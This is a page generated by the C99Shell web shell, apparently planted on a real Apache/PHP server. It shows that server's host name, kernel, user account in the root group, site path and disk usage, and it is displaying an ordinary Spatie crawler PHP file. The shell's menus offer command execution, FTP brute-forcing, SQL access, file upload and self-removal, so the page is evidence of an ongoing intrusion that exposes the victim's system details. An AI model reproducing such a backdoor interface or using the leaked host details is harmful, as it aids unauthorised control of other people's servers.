!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/crawler/src/CrawlQueues/   drwxr-xr-x
Free 28.82 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArrayCrawlQueue.php (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Crawler\CrawlQueues;

use 
Psr\Http\Message\UriInterface;
use 
Spatie\Crawler\CrawlUrl;
use 
Spatie\Crawler\Exceptions\InvalidUrl;
use 
Spatie\Crawler\Exceptions\UrlNotFoundByIndex;

class 
ArrayCrawlQueue implements CrawlQueue
{
    
/**
     * All known URLs, indexed by URL string.
     *
     * @var CrawlUrl[]
     */
    
protected array $urls = [];

    
/**
     * Pending URLs, indexed by URL string.
     *
     * @var CrawlUrl[]
     */
    
protected array $pendingUrls = [];

    public function 
add(CrawlUrl $crawlUrl): CrawlQueue
    
{
        
$urlString = (string) $crawlUrl->url;

        if (! isset(
$this->urls[$urlString])) {
            
$crawlUrl->setId($urlString);

            
$this->urls[$urlString] = $crawlUrl;
            
$this->pendingUrls[$urlString] = $crawlUrl;
        }

        return 
$this;
    }

    public function 
hasPendingUrls(): bool
    
{
        return (bool) 
$this->pendingUrls;
    }

    public function 
getUrlById($id): CrawlUrl
    
{
        if (! isset(
$this->urls[$id])) {
            throw new 
UrlNotFoundByIndex("Crawl url {$id} not found in collection.");
        }

        return 
$this->urls[$id];
    }

    public function 
hasAlreadyBeenProcessed(CrawlUrl $crawlUrl): bool
    
{
        
$urlString = (string) $crawlUrl->url;

        if (isset(
$this->pendingUrls[$urlString])) {
            return 
false;
        }

        if (isset(
$this->urls[$urlString])) {
            return 
true;
        }

        return 
false;
    }

    public function 
markAsProcessed(CrawlUrl $crawlUrl): void
    
{
        
$urlString = (string) $crawlUrl->url;

        unset(
$this->pendingUrls[$urlString]);
    }

    public function 
getProcessedUrlCount(): int
    
{
        return 
count($this->urls) - count($this->pendingUrls);
    }

    public function 
has(CrawlUrl UriInterface $crawlUrl): bool
    
{
        if (
$crawlUrl instanceof CrawlUrl) {
            
$urlString = (string) $crawlUrl->url;
        } elseif (
$crawlUrl instanceof UriInterface) {
            
$urlString = (string) $crawlUrl;
        } else {
            throw 
InvalidUrl::unexpectedType($crawlUrl);
        }

        return isset(
$this->urls[$urlString]);
    }

    public function 
getPendingUrl(): ?CrawlUrl
    
{
        foreach (
$this->pendingUrls as $pendingUrl) {
            return 
$pendingUrl;
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--